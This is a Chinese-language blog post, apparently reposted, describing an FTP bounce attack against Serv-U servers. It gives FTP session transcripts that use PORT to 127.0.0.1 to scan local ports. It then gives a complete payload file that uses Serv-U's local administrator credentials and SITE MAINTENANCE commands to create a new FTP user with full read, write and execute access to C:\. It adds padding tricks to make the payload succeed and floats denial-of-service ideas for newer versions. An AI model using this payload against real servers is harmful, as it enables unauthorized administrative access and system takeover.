Serv-U的反弹攻击及其利用

Authorlake2 ( http://lake2.0x54.org )

 

FTP反弹攻击(FTP Bounce Attack)是很古老的技术了,居然能在我们的信息安全教材上找得到介绍,可见其确实年代久远。

所谓FTP反弹攻击就是利用FTP协议的PORT命令将数据发送到第三方,这样就可以利用FTP服务器实现对其他机器的端口扫描和发送数据了。由于这种攻击的存在,所以FTP服务器一般都限制了PORT命令的ip地址为客户端ip且端口大于1024

现在比较流行的FTP软件Serv-U默认情况下(似乎?)却没有限制FTP Bounce攻击,造成安全隐患。

以下是对有限制的Serv-U进行反弹攻击:

 

220-欢迎光临lake2blog

user lake2

331 User name okay, need password.

pass xxxxxxxxx

230 User logged in, proceed.

port 127,0,0,1,171,182

530 Only client IP address allowed for PORT command.

 

失败了,因为管理员在设置那里勾上了“拦截FTP Bounce攻击”。

但是,一些Serv-U却可以实现反弹(默认情况下没有阻止FTP Bounce):

 

220-欢迎使用本虚拟主机.

user 0x54.org

331 User name okay, need password.

pass xxxxxxxxxxxx

230 User logged in, proceed.

port 127,0,0,1,171,182

200 PORT Command successful.

list

150 Opening ASCII mode data connection for /bin/ls.

226-Maximum disk quota limited to 204800 kBytes

    Used disk quota 81766 kBytes, available 123033 kBytes

226 Transfer complete.

port 127,0,0,1,171,183

200 PORT Command successful.

list

150 Opening ASCII mode data connection for /bin/ls.

426-Maximum disk quota limited to 204800 kBytes

    Used disk quota 81766 kBytes, available 123033 kBytes

426 Data connection closed, transfer aborted.

 

命令“port 127,0,0, 1,171,182 就是把数据发送到FTP服务器的43958171*256+182=43958)端口,因为该端口是开放的,所以数据发送成功;第二次把数据发送到43959端口,该端口关闭,所以发送失败。根据返回的结果,就实现了端口扫描(由于限制,只能扫描大于1024的端口)。大名鼎鼎的扫描器NMAP就有利用FTP反弹实现端口扫描的功能。

利用反弹攻击也可以发送任意数据,把要发送的数据写到文件中然后RETR就行了。既然可以发送任意数据,当然包括向43958端口发送添加有执行权限的FTP用户的命令咯。这真是个令人兴奋的主意。

以下内容保存为test.txt并传到FTP根目录:

 

user LocalAdministrator

Pass #l@$ak#.lk;0@P

SITE MAINTENANCE

-SETUSERSETUP

-IP= 0.0.0 .0

-PortNo=21

-User=lake

-Password=admin123

-HomeDir=c:/

-LoginMesFile=

-Disable=0

-RelPaths=1

-NeedSecure=0

-HideHidden=0

-AlwaysAllowLogin=0

-ChangePassword=0

-QuotaEnable=0

-MaxUsersLoginPerIP=-1

-SpeedLimitUp=0

-SpeedLimitDown=0

-MaxNrUsers=-1

-IdleTimeOut=600

-SessionTimeOut=-1

-Expire=0

-RatioUp=1

-RatioDown=1

-RatiosCredit=0

-QuotaCurrent=0

-QuotaMaximum=0

-Maintenance=None

-PasswordType=Regular

-Ratios=None

 Access=c:/|RWAMELCDP

 

 

然后retr test.txt,添加用户的数据就发过去了。

每次都莫名其妙的添加失败,后来试验多次才发现是由于数据发送太快43958端口那边还没来得及响应连接就就关闭了。解决办法是在test.txt文件前面添加许多无用数据,当文件达到 1M 多的时候,哈哈,成功了!

以上是在5.2版本的情况,但在6.3版本上,情况不妙,43958端口限制了接收数据大小,几十K都不行了,何况一个 1M 的大文件呢。

这个地方一直没想到好的解决办法,似乎有两点思路供参考:

1、  上传/下载大文件,降低其处理速度

2、  FTP服务器进行拒绝服务攻击,消耗资源降低处理速度

以上只是猜想没有去实践,姑且叫“lake2猜想”吧,谁把它解决了,我请吃饭哦^_^

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 16
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值